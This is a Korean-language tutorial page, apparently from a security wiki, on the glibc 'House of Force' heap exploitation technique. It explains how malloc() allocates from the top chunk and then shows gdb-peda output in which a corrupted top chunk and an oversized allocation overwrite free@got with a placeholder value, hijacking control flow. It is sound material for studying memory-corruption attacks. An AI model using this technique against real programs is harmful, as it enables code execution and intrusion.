...
Include Page 00.Notice 00.Notice
List
Table of Contents outline true exclude List
House of Force
- malloc()은 다음과 같은 방법으로 Top chunk를 사용하여 메모리를 할당합니다.
main_arene→top이 가지고 있는 값을 victim에 저장되고, top chunk의 크기를 size에 저장합니다.
malloc()은 "size"가 가지고 있는 값이 "새로 요청된 메모리의 크기(nb) + chunk의 최소 크기(MINSIZE)" 보다 크거나 같은 경우Top chunk의 공간을 사용합니다.
"size"에 저장된 값과 새로 요청된 메모리의 크기(nb)를 뺀 값을 "remainder_size"에 저장되고, victim에 저장된 값과 새로 요청된 메모리의 크기(nb)를 더한 값을 "remainder"에 저장합니다.
remainder는 main_arene→top에 저장합니다.
set_head()를 이용하여 새로 요청된 메모리의 크기(nb)를 victim→size에 저장되고, remainder_size가 가지고 있는 값을 remainder→size 에 저장합니다.
malloc()은 chunk2mem()가 호출되고 주소(p + 2*SIZE_SZ)를 반환합니다.
...
Panel | ||
---|---|---|
| ||
Example
- 이 코드는 앞에서 설명한 예와 같은 동작을 합니다.
- 1개의 메모리를 할당받고, Top chunk의 값을 변경합니다.
- 그리고 다음 메모리 할당 요청에서 원하는 메모리 주소를 할당 받기 위해 malloc()에 크기가 0xffffffffffffeee0인 메모리 할당을 요청합니다.
- malloc()에 메모리 할당을 요청하고 반환된 값을 buf3에 저장합니다.
- buf3[0]에 0x4141414141414141를 저장하고, free() 함수를 호출합니다.
...
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. Breakpoint 5, 0x0000000000400672 in main () gdb-peda$ x/i $rip => 0x400672 <main+124>: mov QWORD PTR [rax],rdx gdb-peda$ i r rax rdx rax 0x601018 0x601018 rdx 0x4141414141414141 0x4141414141414141 gdb-peda$ x/gx 0x601018 0x601018: 0x00000000004004b6 gdb-peda$ x/gx 0x00000000004004b6 0x4004b6 <free@plt+6>: 0xffe0e90000000068 gdb-peda$ elfsymbol free Detail symbol info free@reloc = 0 free@plt = 0x4004b0 free@got = 0x601018 gdb-peda$ c Continuing. Breakpoint 6, 0x000000000040067c in main () gdb-peda$ x/i $rip => 0x40067c <main+134>: call 0x4004b0 <free@plt> gdb-peda$ gdb-peda$ x/2i 0x4004b0 0x4004b0 <free@plt>: jmp QWORD PTR [rip+0x200b62] # 0x601018 0x4004b6 <free@plt+6>: push 0x0 gdb-peda$ p/x 0x4004b6 + 0x200b62 $7 = 0x601018 gdb-peda$ x/gx 0x601018 0x601018: 0x4141414141414141 gdb-peda$ c Continuing. Program received signal SIGSEGV, Segmentation fault. Stopped reason: SIGSEGV 0x00000000004004b0 in free@plt () gdb-peda$ |
Related information
- http://phrack.org/issues/66/10.html
- https://github.com/shellphish/how2heap
- https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/
...